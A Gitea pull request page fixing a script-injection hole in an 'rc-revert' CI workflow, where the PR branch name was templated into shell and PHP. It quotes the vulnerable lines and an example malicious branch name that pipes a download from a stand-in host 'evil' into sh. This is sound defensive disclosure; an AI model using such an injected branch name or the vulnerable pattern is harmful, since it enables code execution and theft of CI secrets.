fix(security): prevent script injection in rc-revert workflow #324

2026-06-27T02:31:03Z

jmiller commented

2026-06-27 02:31:03 +00:00

Security fix — GitHub/Gitea Actions script injection (HIGH)

.mokogitea/workflows/rc-revert.yml substituted the attacker-controlled PR head branch ref directly into shell:

BRANCH="${{ github.event.pull_request.head.ref }}"   # template-substituted into shell source
...
ENCODED=$(php -r "echo rawurlencode('${BRANCH}');")  # second injection (PHP)

Git permits chars like `, $, (, ), ;, " in branch names, so a PR from a branch such as rc/";curl evil|sh;" executes arbitrary commands in the runner — with secrets.MOKOGITEA_TOKEN (branch create/delete API access) in scope. Flagged HIGH by automated security review.

Fix

Untrusted values passed via env: (BRANCH/REPO/GITEA_URL/TOKEN) — available only as already-parsed shell variables, never rendered into workflow shell source.
Strict allowlist ^rc/[A-Za-z0-9._/-]+$ rejects anything unexpected before use.
PHP reads the value with getenv("BRANCH") instead of string interpolation (closes the second injection).
set -euo pipefail added.

Behaviour is unchanged for legitimate rc/<name> branches. The identical inherited copy in mokogitea-private has been hardened the same way.

## Security fix — GitHub/Gitea Actions script injection (HIGH) `.mokogitea/workflows/rc-revert.yml` substituted the **attacker-controlled** PR head branch ref directly into shell: ```yaml BRANCH="${{ github.event.pull_request.head.ref }}" # template-substituted into shell source ... ENCODED=$(php -r "echo rawurlencode('${BRANCH}');") # second injection (PHP) ``` Git permits chars like `` ` ``, `$`, `(`, `)`, `;`, `"` in branch names, so a PR from a branch such as `` rc/";curl evil|sh;" `` executes arbitrary commands in the runner — with `secrets.MOKOGITEA_TOKEN` (branch create/delete API access) in scope. Flagged HIGH by automated security review. ## Fix - Untrusted values passed via `env:` (`BRANCH`/`REPO`/`GITEA_URL`/`TOKEN`) — available only as already-parsed shell variables, never rendered into workflow shell source. - Strict allowlist `^rc/[A-Za-z0-9._/-]+$` rejects anything unexpected before use. - PHP reads the value with `getenv("BRANCH")` instead of string interpolation (closes the second injection). - `set -euo pipefail` added. Behaviour is unchanged for legitimate `rc/<name>` branches. The identical inherited copy in `mokogitea-private` has been hardened the same way.

jmiller added 2 commits 2026-06-27 02:31:03 +00:00

fix(security): prevent shell/PHP script injection in rc-revert workflow

Universal: Auto Version Bump / Version Bump (push) Successful in 8s

Details

5885797728

The PR head branch ref is attacker-controlled and was substituted via
${{ }} directly into the shell run block (and interpolated into php -r),
allowing command injection with secrets.MOKOGITEA_TOKEN in scope.

- Pass untrusted values through env (BRANCH/REPO/GITEA_URL/TOKEN), not
  ${{ }} template substitution into shell source
- Strict allowlist ^rc/[A-Za-z0-9._/-]+$ before any use
- PHP reads BRANCH via getenv() instead of string interpolation

chore(version): auto-bump patch 09.38.05-dev [skip ci]

RC Revert / Rename rc/ back to dev/ (pull_request) Has been skipped

Details

Branch Cleanup / Delete merged branch (pull_request) Successful in 2s

Details

3972b91169

jmiller merged commit 282a56258c into dev

2026-06-27 02:32:27 +00:00

jmiller deleted branch feature/harden-rc-revert-injection

2026-06-27 02:32:27 +00:00

Sign in to join this conversation.

Priority -

Type -

1 Participants

Notifications

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: MokoConsulting/MokoCLI#324